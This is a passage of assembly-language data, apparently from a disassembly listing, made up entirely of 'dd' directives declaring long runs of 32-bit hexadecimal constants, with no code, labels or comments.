		dd 0EEFBB6A3h, 10F88044h, 2158E30Ch, 3C561195h,	5B0F8366h
		dd 0FCA3B12Ch, 81A1BE93h, 5F2080E7h, 75287EE3h,	17ED0AB0h
		dd 0E4DFAFh, 5EECD0F9h,	0DC03DDCDh, 9ED97357h, 59680036h
		dd 0EF0914B1h, 0D40E758Bh, 8626909Dh, 20396Ch, 88146679h
		dd 6A7F173Eh, 76B2EF00h, 786C6125h, 0DAC50EA2h,	0E300E006h
		dd 0E4FAAEEAh, 0F73C7F76h, 6800FEA8h, 0D17D8B97h, 934608h
		dd 72FA407Bh, 0C233017Ah, 0E6055C0Eh, 0BCD6C034h, 53C8FDh
		dd 92EFE09Ch, 0F655492Bh, 8B5F2800h, 0C23446F3h, 5230093h
		dd 9C1DCA3Bh, 4100B70Ch, 0AA9D9843h, 9070EE29h,	6C78B4h
		dd 1137CCCh, 63857A07h,	0B43F3500h, 3CD2B59Ch, 0FFF2E2h
		dd 9A5BBD08h, 926162A5h, 4D70AF00h, 685726E3h, 0BF762Dh
		dd 0B01E67C9h, 0B1BBCE6Fh, 0C44508C0h, 0EA7CC865h, 0D61024DAh
		dd 42D00DCh, 4DB8198Ch,	4A285400h, 279DDE4Fh, 2AF700F9h
		dd 0AD9A31BFh, 430769C2h, 65DBFCD6h, 88362D20h,	0F220005Bh
		dd 0D561DFABh, 4C078916h, 0E931D069h, 0F92EE451h, 41A230h
		dd 7666227Eh, 0FFC53918h, 785BD0Eh, 40792F25h, 0D2F32729h
		dd 3C93F856h, 4880A4F6h, 67BCCB76h, 0C006055h, 285F33ACh
		dd 3F3D654Bh, 19DE1FAh,	121E4005h, 80F5A479h, 76C6BD26h
		dd 80281D1Bh, 59938DAh,	6DA35423h, 12C581h, 96561A1Dh
		dd 0FF0733E7h, 6576AC22h, 5AEBE530h, 13C85835h,	89956400h
		dd 1E07C0D5h, 19318600h, 164D107Ah, 78EC1F79h, 153B3925h
		dd 0DE85E287h, 5808907Ch, 0A5014F05h, 82B112DBh, 0FFD0CBEEh
		dd 72B50030h, 3D454E13h, 2A00A206h, 18EA699Ah, 0CE5F6Ch
		dd 0FEB915A0h, 26414A19h, 0FFC71300h, 90BD1C7Dh, 5BFA0335h
		dd 203D01C0h, 8C4630C7h, 0A0008ED6h, 0CCCB3CDBh, 1EE729h
		dd 0FCB62FAFh, 0F3ADAAF1h, 3B3DD97Fh, 0B9D08744h, 95805AA2h
		dd 30F4E03h, 27D8215h, 2CEBDFC7h, 0C39A05B8h, 1177B600h
		dd 0FD6F59FEh, 9D3200B0h, 0E7FAB23Eh, 0B47BA7F6h, 4B317600h
		dd 0E884D410h, 14892457h, 95E7003Bh, 67A72804h,	0FF23C01Fh
		dd 0AE843780h, 3D354227h, 0B13C722Dh, 0A0DC007Dh, 0EFA4637Fh
		dd 70F1F7Ah, 0E0D6559Eh, 70C8BBCDh, 9D8000EAh, 0F9A07EA1h
		dd 52007213h, 9C650C7Fh, 21F117h, 0A93FA83Dh, 0CB9189A1h
		dd 6AF3D80Eh, 9B5EC00Eh, 3512801h, 0F9614AC6h, 7477C774h
		dd 40601F0Eh, 166C80BAh, 5C4FF67h, 33ED2957h, 9AC8403Fh
		dd 0A2F4CCF6h, 0B36D6C00h, 0F5C76BFFh, 0FA980099h, 6090A5D0h
		dd 0D2F485E8h, 0CBC0DB00h, 5F81BD7Bh, 512CC0FAh, 342E5B5Dh
		dd 76F6D900h, 8449613Fh, 2B270033h, 0D63CAAB4h,	2C037454h
		dd 521D3569h, 83E2E7A8h, 0EBB6C03Dh, 0A112004Dh, 0CC4AA62Eh
		dd 898ABE9h, 80A0CB3Dh,	0D767EDBBh, 12E8E278h, 1FA4048Ch
		dd 0FCF180CBh, 46ED5A14h, 86811E00h, 780D23CEh,	1FD91D68h
		dd 52104037h, 452E8CBCh, 6CED1E00h, 6974080h, 0A634387Ch
		dd 0BDAAA880h, 0CA64681Dh, 32C2CC00h, 88B65FE7h, 0FEA003Ah
		dd 0E5CEFAE3h, 7900D214h, 0EE37611Ah, 87457Dh, 92F49A30h
		dd 93ACE003h, 0CEA930C1h, 0BC207337h, 90CD0056h, 5E1D91DEh
		dd 26F85F25h, 2136BB00h, 7CD554A5h, 41F748C2h, 0D81D038h
		dd 0FAC0BFFFh, 6AE8C74Eh, 0B600DFFCh, 0CFDE0FF0h, 306BD92h
		dd 5AED6F3Dh, 4FE0439Dh, 620099A3h, 0BAE8FA10h,	7CAD4h
		dd 0E87B374h, 3114D8D9h, 0EE659101h, 7CBB2C20h,	1F6849ECh
		dd 0CF3CE096h, 45C3D1CDh, 29A0A384h, 5C384075h,	0CB96008Ah
		dd 0E0338DEh, 0D3C900E5h, 5DFF3B9Bh, 6B00BF84h,	0DB998EA4h
		dd 53D66h, 0DF0FEC96h, 49E20D04h, 5638E800h, 16A3BD4Bh
		dd 47810008h, 0FA25984h, 13009EEEh, 0C180368h, 14339DDh
		dd 8A893ED4h, 706DF263h, 737292A8h, 208DFDA0h, 0C60093E6h
		dd 37F324A5h, 0E88D9EFh, 0C24FAD0Dh, 0E97D6E40h, 0D700740Fh
		dd 8271EB1Bh, 1D3326Ah,	510CF4C3h, 0DCF31CADh, 0ED01D999h
		dd 687D7437h, 382018BFh, 0ADB20021h, 5190046Ch,	0D6003760h
		dd 566F6BA2h, 0C51DA0h,	421ADA1h, 0BF22484h, 0A9022000h
		dd 6876422Ch, 3A5AE2D2h, 0ADBE57C0h, 0D54F4D86h, 0BDFC485Bh
		dd 0BE01097Eh, 0E178BC68h, 80301D50h, 1D2490C6h, 0C3C1A7CEh
		dd 46493856h, 6EC08CE2h, 7903717Dh, 0ADDF089Dh,	0F3BCF8D3h
		dd 607E0099h, 0A96DF593h, 0C400DD86h, 0A261B14h, 0A1B869h
		dd 7687B7DBh, 6AFB9936h, 0A3E20798h, 0A5BF8012h, 0C9DA7100h
		dd 2F68140h, 7ABE1B30h,	0A061A966h, 0CEEBDC97h,	0E792901Dh
		dd 0F93AFF03h, 61AD98B7h, 225924EAh, 802F1D48h,	672B23C8h
		dd 330007E3h, 0DC29F325h, 3922D2D7h, 5300E848h,	46CF78CAh
		dd 12147E7Fh, 1FE013CCh, 8BC0CB43h, 5FC8713Dh, 7FEB0106h
		dd 0E3A1810Dh, 19E0F284h, 0C3005988h, 610CA578h, 0F7C19Ah
		dd 0AF7CEFACh, 0A09FBE49h, 1E5E5F0Eh, 0AEE0D3DEh, 34553DC6h
		dd 25D38800h, 2668E21h,	7937CF00h, 8D9D96AFh, 33AE6B2h
		dd 81697135h, 44BFC8A4h, 0E158C7E5h, 0F0D5AF2Fh, 410064BFh
		dd 16B6A48Fh, 0CD6BB8h,	9A781518h, 0F50F54CEh, 0E6F1B4C0h
		dd 1D438142h, 579983h, 621C3252h, 0D700AFD0h, 0A0552380h
		dd 70E25F5h, 7CFEBF5Ah,	0E09190A4h, 0E7E81B7Ah,	0D9C1050Fh
		dd 1934062h, 501FFCh, 21722E8Eh, 63A1442h, 7CC16F00h, 0C739B8FBh
		dd 0DBB54C79h, 9E592Eh,	8C4D78E3h, 0DC0E0844h, 264C6Ch
		dd 0B658B011h, 0EE090082h, 0ACA89094h, 0DC902363h, 0D8FE7B00h
		dd 56B3593Ah, 413000FDh, 0B79F8A0Bh, 7B00FBECh,	0CDA09768h
		dd 374A9Bh, 0A2F11158h,	289ADA71h, 0B3DCFB00h, 82C58C08h
		dd 0CFEA0079h, 8E3CC78Bh, 8903455Bh, 8448A65Ch,	0D995B8E2h
		dd 474C00DDh, 0DD335FCh, 0B158C5ECh, 0D5C700F0h, 66155377h
		dd 89F80029h, 0DDD26C79h, 4B0394CFh, 0C722467Ah, 0E5310BBCh
		dd 1420190Eh, 649050E9h, 96950A00h, 0A5D140BFh,	0FB9D0084h
		dd 0A891E522h, 13EC63B1h, 2F213D0Fh, 4D8580F7h,	8CEEF3h
		dd 6AFD8B0Ah, 0BE43C78Dh, 0E930417Ch, 516781EDh, 85C50186h
		dd 0EE22A8B0h, 0E3798074h, 194C332Eh, 80D30251h, 67C0E041h
		dd 7B854E60h, 4A005CBAh, 6012DFD8h, 0FB465F5Eh,	1D241985h
		dd 58B04787h, 1B28C03Dh, 0B700EF84h, 0A2D95FE0h, 0B14A49h
		dd 6CC69078h, 0F94612C5h, 7ED13500h, 69870ED5h,	0D88038C2h
		dd 51D9B100h, 4D72E53Ch, 0C8746E07h, 4AA0A1CAh,	7A6F054h
		dd 506F1A3Bh, 972FFE78h, 6D5BEDA0h, 0D91C1E62h,	0F74743CAh
		dd 202048BDh, 9315C6h, 512EE856h, 717E6AEFh, 0F1C0A954h
		dd 0AD07D5E0h, 283EBBDFh, 0A4189F80h, 0B2A30185h, 0E57AD967h
		dd 0F7E1806Ah, 0E9320E33h, 66F00C5h, 50C8D02h, 6E3F0A48h
		dd 182D090Fh, 191E00E2h, 0C07AC41Dh, 93FFBD68h,	0CF4D2AADh
		dd 6C3C056Ch, 0C00033D4h, 0EBA0A7B3h, 25BE0030h, 991AFD94h
		dd 0FC009223h, 46A67749h, 7CA0EDh, 719ACABh, 0D4B26EC0h
		dd 0CC57700Ch, 0E9AA51A3h, 7F20D000h, 27009273h, 6A98B878h
		dd 3FCB624h, 0C0181D2Ch, 0EFA16E49h, 0E3F130B5h, 56804B04h
		dd 0D9838565h, 16C5E8F3h, 46552E90h, 80DB1E60h,	0B7A3779Eh
		dd 69D2AD0Eh, 0F15BB500h, 0B84D47EDh, 93713072h, 0B1CCACA8h
		dd 0DA000EE6h, 202B91C2h, 1EE8E192h, 0C0657187h, 63C4A897h
		dd 6002489h, 0E119A147h, 85E76Ch, 53E8807Dh, 8DCB33CCh
		dd 8F505B00h
		dd 608717CEh, 0FEFA007Ah, 866DBBABh, 72600D98h,	6F2C9B08h
		dd 0D75900FDh, 2E91F633h, 11C9613h, 2A03B61Ah, 0C8B00431h
		dd 7807E06h, 0BDA18C93h, 0B0FD17EFh, 5E48864h, 0A1FCCE3h
		dd 98009C72h, 19E995A8h, 0CCB24Fh, 42DEF375h, 2CC59E7Eh
		dd 66589400h, 15F6D7A0h, 0FA08038Eh, 0CD0323E3h, 0B5606801h
		dd 0EBBB9FBAh, 5D9E20h,	0D4CEC0EEh, 8D4895DDh, 0B558D501h
		dd 0D61DC544h, 0BF2E20h, 0D09FA1BAh, 0FFB4D834h, 294DCF2Ch
		dd 4EF2EB00h, 188D7CCAh, 5E055B35h, 83CC1C8h, 13B10085h
		dd 0C9F1EA60h, 50DB008Ah, 0D51853B5h, 600C079h,	15B648CEh
		dd 0CAE430h, 20A71E99h,	0AC043CD3h, 0A18DBC00h,	5BF67DFCh
		dd 79B30033h, 97B1FE8Eh, 0FA01B49Eh, 0C5476C87h, 0D840322Ah
		dd 0DD812Dh, 22237F9Ch,	0A9D32761h, 630D8A00h, 0B0A2E3BFh
		dd 6970142h, 8EF96425h,	55047020h, 0E9F8D57Bh, 0CD0009F8h
		dd 4E82AEB4h, 1222878h,	5E72C5F7h, 803352FAh, 77542468h
		dd 1CEB7E71h, 8083F02Ah, 0D5525D06h, 0CD009956h, 3360E162h
		dd 7E93A6Dh, 43240F37h,	0FABAF048h, 0BD068A01h,	0FDDC6865h
		dd 0B841002Eh, 9D60D2ABh, 0E403D32Bh, 0CF7557EBh, 0F4709898h
		dd 0A3F90359h, 14AFACA9h, 0D0A09A0h, 4D13E00h, 1A4128ABh
		dd 0B22300FDh, 7773BCF5h, 0A2FE07FEh, 0EA4FCA00h, 5C709D50h
		dd 8FB900AAh, 653F5ED7h, 5203BAF7h, 0A4389EC6h,	9D4C906Dh
		dd 6E3B009Fh, 7A5C25DFh, 3DFE7D63h, 17BE8800h, 0C12D5998h
		dd 36550052h, 68F2F0BFh, 0CC1E4E80h, 42405126h,	0D5C4063Bh
		dd 2C1B60B8h, 0D0DE73E7h, 0B5001473h, 41D11109h, 7FDEAh
		dd 6A4B294Ah, 6C013ED5h, 3AFB1900h, 3D24F448h, 8523BA0h
		dd 0AED3900h, 0F649A18Fh, 35165300h, 98702DAh, 65BB13AFh
		dd 79C70A4Ah, 94E600B8h, 0D0D5CEAAh, 0ACD4BE00h, 2A72921Eh
		dd 817000BFh, 63C21A35h, 0C70E863Ah, 206240ADh,	1C1FC318h
		dd 0A06A0988h, 0F380BFD5h, 34C73AB2h, 2C3E70EAh, 10A98045h
		dd 81D1683Fh, 0E9391723h, 0E4300FEEh, 45807AACh, 0FE001198h
		dd 85B55221h, 19A315h, 57B803F8h, 0F351C68h, 5AD51F00h
		dd 8C281749h, 0D934008Bh, 6A3745BDh, 0A2000520h, 13F9584Ah
		dd 3C87D76h, 757256D6h,	0B790E39Bh, 0F230D2F6h,	2C581985h
		dd 8B890126h, 700AA450h, 19A8872Dh, 22D09EBAh, 63CC6h
		dd 0EF0D629Ah, 40C8B7E0h, 84B97700h, 66D42D3Fh,	0CAF0002Fh
		dd 891E8060h, 6E074A25h, 5DFB6A2Ch, 31C01DD4h, 1B5BB5h
		dd 0C973676Fh, 2195D329h, 0EC09FB00h, 36FE6A03h, 0E94200B9h
		dd 80866E23h, 0BD718DA8h, 0AD630700h, 845E2076h, 0EA620E29h
		dd 342042EBh, 0D0DB9660h, 0C69F4400h, 0A4DE79CDh, 54D0348h
		dd 7EBACBDCh, 75F1D2A8h, 9A9D6700h, 15CF9690h, 4C7173h
		dd 8F7CA383h, 28A5AF0Fh, 2F0453F8h, 0ACA63C91h,	0E3301487h
		dd 6FE2F8h, 98EC55CEh, 0E4EE7E67h, 0B41C4Ch, 1820624Ah
		dd 7B79B95Eh, 0B2470031h, 322D0B4Eh, 631F3C41h,	0A2C34683h
		dd 0B87D5A56h, 4926CA8Bh, 0A50FF4AEh, 104097B6h, 786F8DD0h
		dd 16AC4500h, 2FB122ECh, 13017AE3h, 4052B711h, 4FD1BE84h
		dd 963A195Eh, 834DB845h, 29C72AE9h, 50AED088h, 871B0380h
		dd 4B9A54B8h, 80E4C7FCh, 0F35583F2h, 50A4600h, 54E7FFA0h
		dd 0ABAF0001h, 0C2CA331Bh, 2500B06Eh, 0F6C6E851h, 900C1C64h
		dd 91CD000Ch, 6F1F9E46h, 1B480E42h, 39190070h, 0C10DE99Ah
		dd 43210311h, 36ECEF46h, 697305B8h, 481C2900h, 78079F57h
		dd 32F8E7E3h, 55DA009Ch, 0ED06A343h, 0F7049A30h, 0F6798A26h
		dd 98C79093h, 6EEEBAh, 81CA7E24h, 0B6DAAECFh, 77C5C200h
		dd 0E9113963h, 0AB8C00E4h, 700FC719h, 0A8014861h, 5782E242h
		dd 10248AC5h, 0B85800D9h, 0F677E691h, 423E0CC4h, 30FC800Ah
		dd 40737F3Eh, 0B5E003AEh, 3224DC11h, 60D9EAC9h,	2300C501h
		dd 4C74FB8h, 0F5A298h, 91745D5Eh, 4448F1AAh, 9E67233Ah
		dd 68C0DEB9h, 0D6192A2Bh, 26F40342h, 0A9044EE5h, 18CB0FC0h
		dd 0E4619F2Ah, 1C07733Fh, 314CC917h, 3DF77812h,	5F002520h
		dd 0AF402B2Fh, 0B7123AB5h, 0C81D8C9Bh, 0A4695D07h, 212A11D0h
		dd 25A70B90h, 48007832h, 77F914B6h, 0C8002DE4h,	5E4B308Ah
		dd 0FA94B7A9h, 0DA9F0BCBh, 200FBEA0h, 0B13B9800h, 0A400C21Dh
		dd 4DF31E65h, 0FE4363h,	97AB8C7h, 5393BCF8h, 82709109h
		dd 942420F5h, 50E199h, 1AFA7BB7h, 726D29D4h, 0CBAE7700h
		dd 0A35612C1h, 39B10062h, 0AFDAF933h, 0AB000E8Eh, 72A4FA8Dh
		dd 20D973h, 4EDF59AAh, 6F22E6E2h, 51291400h, 0CFEC6CD5h
		dd 73C100D8h, 0EBDA8F76h, 18000FE0h, 1D035F92h,	13424629h
		dd 120E8BA7h, 0D0B04051h, 6E305EF2h, 0F556BB00h, 7F49637Eh
		dd 0EA471395h, 69AC077Ch, 0D78C4077h, 870112D2h, 86A30B81h
		dd 0DEC00AB4h, 31CF3EF2h, 8B65BF04h, 2DFC1D0h, 6098F1F8h
		dd 909B7DE4h, 0CBB8C083h, 4ED28866h, 5179FCh, 9627D4A4h
		dd 7FE3E02Ah, 0AF9A40E3h, 0EE07D16Fh, 0DCCC5D47h, 0AEA9C37Fh
		dd 0FF100046h, 0F9D52501h, 89000276h, 0D49F723Ah, 9CFC41h
		dd 46903565h, 0DAFDA905h, 71A1990Fh, 885AA07Fh,	3CB78Ah
		dd 0D407808Fh, 972FD6CCh, 7900EAF8h, 0BD8CE5C9h, 0FD1F56h
		dd 4B542AE0h, 51FAF1ECh, 0E7E6CC00h, 0F0EA9435h, 46BC0CD7h
		dd 76498257h, 4169E007h, 43502920h, 46A4CFh, 0C1BC9472h
		dd 0C82B8CC6h, 0AA071100h, 7FEF9217h, 2DBD1624h, 6343072Ah
		dd 0B6754012h, 3100E085h, 0CA9050BBh, 38C6CFA5h, 0FD9D6996h
		dd 1400F940h, 0FF3EBFDDh, 7400BB58h, 0BC4CEE1Eh, 0B2106Fh
		dd 1B362A88h, 86D7465Ah, 0DED0EC00h, 0F7D50FEFh, 3AA87384h
		dd 0A6008D68h, 14720717h, 0CF00B8F2h, 0A9398F65h, 3599A1h
		dd 2D184ECh, 0B59ACA57h, 11B30600h, 1F5D814Ch, 0F7F4F169h
		dd 933507D9h, 0C0308538h, 74F5FA72h, 0CCE09703h, 0A35F3EE5h
		dd 9A6680F2h, 0B5010098h, 607C3DBFh, 5501B00Fh,	3FA4C741h
		dd 84C4578Eh, 9DDB078h,	0E7509C12h, 0A507EFD6h,	40005A2Ch
		dd 362C73Fh, 77DDD494h,	76D0D257h, 6B008880h, 26AC44B7h
		dd 59A7DFh, 0CCDA0A90h,	0CA31624Dh, 747CD12h, 0A0DDD104h
		dd 0B1412490h, 6FB8C0D8h, 8027AEFCh, 0D7603305h, 0DC30E188h
		dd 7C810B5h, 48AFE64h, 0FF6550DDh, 270FB4EEh, 803DD676h
		dd 9BEB3A5Bh, 24C37F0Ch, 800CDFDAh, 14A3AD8Dh, 36008E88h
		dd 4F340C98h, 0F03C58Ch, 0E0B397D7h, 89C0496Eh,	14784899h
		dd 8560AB02h, 0C06B7A03h, 7A045C73h, 0E4CA004Ah, 0FB305D8Ah
		dd 0E301507Eh, 8C5729DEh, 0EC4E1DAAh, 48C56602h, 0C4833D51h
		dd 6ED03082h, 927FEE06h, 0D39B4900h, 0A767D172h, 0EED7C26h
		dd 0BB574FCDh, 0D4915138h, 4D72DAA0h, 0B3C90203h, 0A8A40196h
		dd 12482470h, 2047252Ch, 871F5274h, 5AEC3F0Fh, 9183C0CCh
		dd 0E6D4A39Eh, 488876A4h, 67DF8B0h, 5E2844CBh, 6B070CCh
		dd 582470C0h, 905C9CC0h, 34D40AB8h, 80AC6F26h, 0F4022199h
		dd 3E48A676h, 684BC3BCh, 36F788DAh, 86BD008Eh, 37691955h
		dd 0CF33984h, 40C02DDh,	6F7E1C97h, 1B06A9C0h, 24139800h
		dd 939B8A3Fh, 234EC9B5h, 73A26300h, 0F97F0D71h,	0D8145300h
		dd 0E9A44E3Bh, 0AD8F00C4h, 6EB4CCF0h, 5271366Fh, 0A32B1000h
		dd 1DD54590h, 2A9F00EAh, 87112585h, 0FC00A18Ah,	0F34FE0FAh
		dd 242051h, 4107BBDAh
		dd 11FF630Ah, 2C8A1300h, 0DF6536FBh, 0EEB67E81h, 7B5330DBh
		dd 8B0A170h, 23F04901h,	412DEC06h, 1D9FE8h, 0E42C0925h
		dd 644CE85Ch, 4F00D090h, 0CEF5E396h, 1E0251h, 0FBF13B5Eh
		dd 0DE29C597h, 722C8D00h, 9A12ADB7h, 96CC00A4h,	0EBF52B9Ch
		dd 0E77F5B23h, 1727FF00h, 361C3DCh, 682C286Ah, 0AA1F00D8h
		dd 0A4DFD15Fh, 0E3604B38h, 0D0CF5419h, 2AFD0003h, 0BCC9AF1h
		dd 721AFBE4h, 0E204E74h, 2DC501D8h, 28AC02F1h, 6E1E0ECBh
		dd 2E9D007Eh, 7705DF90h, 655D6600h, 5A7AAF9Eh, 4179F0h
		dd 0B838FD3Dh, 5244080Dh, 2455E703h, 0DFB9B01Eh, 501A6B47h
		dd 8D02AF00h, 0EA2BCAh,	63364C9Ah, 2759DF1Eh, 5C0E74ECh
		dd 43FFFB47h, 0ECE37BB6h, 8A69FCC0h, 0B173601Dh, 0D25932C8h
		dd 36283Ah, 49020CE0h, 0A0BB62h, 1386B9EBh, 5088BE73h
		dd 81DD7700h, 0F2A8105Bh, 5DE43Ah, 9920E1D4h, 83899308h
		dd 0A5280B00h, 8D3E5C1Bh, 0C9750237h, 4B33A265h, 10DD5F40h
		dd 6CCDD200h, 8DA159A9h, 2ADE03F3h, 61EEB4FDh, 71D8D6A8h
		dd 0AAA0D400h, 0F8CBBF05h, 737372DAh, 0A81C7C45h, 944880h
		dd 165A8949h, 438B0E3Dh, 680F6974h, 600A6A9Eh, 0D4159FB8h
		dd 718A28C0h, 6BC7C9Ch,	78190CB2h, 4000497Eh, 7CF7398Dh
		dd 18F38h, 0C6AD8BDAh, 1CAE6987h, 0D7D2DE1Bh, 40301F54h
		dd 0A4EA56h, 290752C7h,	739DB93Ah, 4200DD70h, 0C0AE9E2h
		dd 7CDA50h, 900D12A4h, 31E424ACh, 300C8ECh, 0FF11100Fh
		dd 3AFF0C1h, 68A9640Ch,	580137B1h, 8D322422h, 1EE86116h
		dd 42D9FF01h, 186F8BDCh, 2830A51Ch, 0E4032AF2h,	77B6FC9Ah
		dd 9C4AC097h, 9BB90501h, 1D298774h, 1F09F9EDh, 44A176CDh
		dd 0EC09D34Bh, 2CB2117Eh, 0F6747500h, 0B50B5EFh, 0D23600FAh
		dd 65143442h, 0B47E5768h, 21FF7E00h, 95B689BEh,	8B080072h
		dd 0DEC4F0CDh, 0C200015Ch, 3347E944h, 3979C5F4h, 0C91FF53Ah
		dd 1373CFA3h, 3507B4C0h, 6300B0B9h, 0F219E386h,	305EAFFDh
		dd 0FA08E818h, 0B007B417h, 370EDE31h, 8E5DFE01h, 688160h
		dd 386E645Ah, 0AE9D651Fh, 0A91E6D00h, 0E974DA27h, 0E15E075Bh
		dd 0B0D0B94Fh, 7E4529D2h, 414E6707h, 0CF404896h, 0BAA8D4h
		dd 8FD30DA7h, 88F7CA55h, 1A00DF71h, 7B315624h, 15D5A9E4h
		dd 58A82B12h, 0CBE0CC01h, 0CAE4D8Fh, 314401Dh, 55E56303h
		dd 0E9ED3B3Ah, 30204DCDh, 26BF0017h, 0F11D4873h, 4C0043A8h
		dd 0C72DDADFh, 269962F6h, 87252Eh, 651C8BC1h, 40CB1ACh
		dd 0E85ED145h, 2D5F24A0h, 0B0BA0796h, 21AF5043h, 0CB7FCD13h
		dd 0B94930Eh, 0F25286F9h, 0E04F0F60h, 9A09E725h, 0D70F0980h
		dd 8E7B8BCFh, 1CACAD05h, 0F71FA9C3h, 1D726C80h,	18F010h
		dd 0CAB19558h, 0BA94CF44h, 0B7B0C00h, 199CDC4Dh, 253300BFh
		dd 0BEC9262Bh, 8300E202h, 0D79F781h, 4301ACh, 0EA7A1631h
		dd 0F1CAE44Eh, 3309821Ch, 93833FC0h, 0F0199Eh, 0C58F4FF7h
		dd 3DCE1A9Bh, 3B007290h, 1B9DEB66h, 0F60259D8h,	5363D0Dh
		dd 7DC91280h, 0D5DF5E3Bh, 3F9C281Fh, 0F05D1400h, 3E9622Bh
		dd 0B9EF6B75h, 22888FBFh, 0D10FAF20h, 4C6F5C15h, 1F53023h
		dd 0CE9E2ECAh, 0C4F1C47Dh, 0DCF02183h, 7422AA00h, 11B3966h
		dd 11EC3A63h, 2080AB18h, 223D23C2h, 945D0097h, 0A1A0047Bh
		dd 92FA1C2Eh, 0BDF60331h, 60A60BDDh, 5B9DBE00h,	0B98515AAh
		dd 0A1813EBAh, 3DC0074h, 0E9CB2182h, 3601085Fh,	124D7360h
		dd 0D9DC2BB1h, 0CE3A002Dh, 2EECD3F1h, 51309E17h, 21BD1076h
		dd 0DAED38E3h, 80B8A81Ch, 30C34134h, 2A0055D8h,	0B70EE024h
		dd 0F1EFAB35h, 43C920h,	38268583h, 0EA5924F1h, 34C3Ah
		dd 873B6CFh, 0D75DDh, 0D4046F61h, 0AB91C106h, 0E6264D18h
		dd 0D8E7ECh, 0ECFCDD5Dh, 777DB08Bh, 0E36A7A00h,	3DB6EF39h
		dd 0AF2E031Fh, 0D9B4C7D5h, 0F4B28C81h, 8F003E9Dh, 9A1F09C4h
		dd 0C7A30Eh, 0C5D48AEEh, 0C945EADDh, 60807F30h,	18B76A09h
		dd 48B5D04Fh, 9D00D2D3h, 8F7FB3A3h, 0CCA230B0h,	41217C08h
		dd 0D42ABD00h, 0B63825CFh, 88ED6091h, 12AEB7A0h, 0A9AB5900h
		dd 448B560h, 0B39F3EDDh, 0AF5DC20Fh, 0F1E48580h, 180B3C2Eh
		dd 41E803h, 9D7A10F3h, 0AA7F3B87h, 13AD17h, 0B3937CB7h
		dd 8C0005B2h, 0D2EC5183h, 0E888545Eh, 8F680063h, 6617CD38h
		dd 2300E6F2h, 5FECE70Fh, 58D6C648h, 101E821h, 3AD7F907h
		dd 3059D16Dh, 8D00C512h, 212CABCDh, 0DFFFE0h, 8EC21BDEh
		dd 0E27093A8h, 26F8F200h, 0AB691EEDh, 0A6081CAEh, 0E0E74CF7h
		dd 0A33EE210h, 0A98D0097h, 0BB3233C3h, 0C6C8EF11h, 8C7A1E7Dh
		dd 0C095009Bh, 1483722Eh, 0CCA6A800h, 0E30A62FFh, 8EAB00F2h
		dd 329B856Ch, 3C0129E5h, 0BA8AA5BCh, 69BEF003h,	0EAE1A880h
		dd 2D7C46EFh, 51C25703h, 0B8AD45FCh, 3EF3C81Bh,	0D9806103h
		dd 36D6ACFDh, 7C13E16Dh, 0EFE3DFh, 1833C8D2h, 6E4CE750h
		dd 0C0E63787h, 0FAD960A0h, 411D0009h, 8620A719h, 0C000BEC6h
		dd 0AB28F55Eh, 1D2A426h, 0F31A024Dh, 0EC516ADBh, 1C007C45h
		dd 60782537h, 0EB4EA9h,	94FEEC59h, 1DFCBA62h, 704B1E00h
		dd 958AFF5h, 8330003Dh,	615C3AA9h, 49001DC0h, 0B706C745h
		dd 904D5D4Eh, 4225008Ch, 6B2F8271h, 810F0C86h, 0C0E33D98h
		dd 78BD974Dh, 0DFC00029h, 0C97F2710h, 1B01B66Bh, 4B406C12h
		dd 7C86A30h, 0C6B9003Fh, 0A58DAD77h, 641D143Dh,	873B3860h
		dd 4B3F3E2Dh, 4A6573E0h, 0C749Dh, 0E1939219h, 2C8D38E3h
		dd 0FEB8DF00h, 1E4D665Fh, 0C6710BFAh, 0B6031219h, 2019086Dh
		dd 5F983F02h, 0B377CC8Ah, 2A200164h, 9872FD90h,	0B7C91CC0h
		dd 4D5E0914h, 645EAA79h, 0B2654F01h, 508084BBh,	0EFFC1973h
		dd 770712FDh, 0A44B5913h, 0E7117003h, 0CDBE81F9h, 789D3A47h
		dd 34D04032h, 2DDB052Fh, 3C0E407Fh, 0A0FCA4F6h,	0AB7E5093h
		dd 1B5C0075h, 0B51DA956h, 0D10E2B9Ch, 0D35AC2h,	63D820A2h
		dd 0E7B1A0C9h, 476C1D46h, 0A6F5C01Fh, 372A1250h, 788B5200h
		dd 0A488C1F9h, 0EEB43E6Bh, 66FF5580h, 62CC614Ah, 3F8F5000h
		dd 8692CF18h, 0BAAA0E47h, 0C07E73B7h, 0BEB58294h, 86B8FF76h
		dd 0CE840500h, 9913A8CFh, 7EE81DBBh, 9FBCBAD2h,	8957D680h
		dd 489D4D4Fh, 3A00E475h, 8DA8E7EDh, 0FAF775h, 0C9909EBEh
		dd 2C134531h, 2FA3CA00h, 29F0D6ECh, 4904004Ch, 38C8F7CBh
		dd 1798B567h, 1D0F7198h, 805DC355h, 8B18BA9Eh, 1B7473h
		dd 0FE4E1533h, 1EE0607Eh, 8988DB07h, 268FE4CCh,	1C10DF62h
		dd 8145B31Bh, 3C26655Fh, 9DEEC2Dh, 6DFFFC07h, 21873205h
		dd 95339AF0h, 0C1C7001Ah, 0BB1EC285h, 0F3002623h, 791048Eh
		dd 7308D54h, 0B82FAC01h, 0E829D0B7h, 0A700DBEDh, 3F4B55DFh
		dd 75BE8Eh, 37B79030h, 0FEE45EEFh, 59786B7Bh, 0DFC76500h
		dd 0F3961E16h, 0AD0B0055h, 335880Dh, 3CE867ACh,	0FE260C01h
		dd 0E422A723h, 58B69FF4h, 3D04711Dh, 8094AA85h,	0B22FE6C7h
		dd 0ED89282Eh, 91405207h, 8DD862AFh, 7E38E081h,	0FFD50655h
		dd 0F93F34BFh, 6E695200h, 0C463297Ch, 0AAFA0Ch,	3C31F24Ah
		dd 0BB8C4803h, 639F0A3Eh, 0F8585B30h, 307B74h, 2492EBF7h
		dd 378E4B8Fh, 4FDB3400h, 8D334EBAh, 0DA6A0E52h,	0CC2917CBh
		dd 6CEFC080h, 551D0C60h, 75403FC6h, 77437252h, 0CA7608h
		dd 0D1B51278h, 55AF137Dh, 4C7F20Eh, 698AC09Eh, 7B027ACh
		dd 90147788h, 9315A793h
		dd 9781EBBBh, 0E000E71Eh, 72F56092h, 1FB131C0h,	0CFB65Fh
		dd 0CD4E6F4Fh, 36078D32h, 91906E07h, 33F4F0C1h,	63F1D88Eh
		dd 88D4D6C0h, 7B509C03h, 0E37812BCh, 0CA2FB21Fh, 8D3EF547h
		dd 172003C9h, 306013D8h, 88D60CACh, 0BF20BE58h,	2240219Ch
		dd 914E900Ah, 0F450030Eh, 2BC0002Ch, 21D4C8FAh,	0FF01843Fh
		dd 24FE4256h, 26085896h, 21949920h, 64043EACh, 2402303Ah
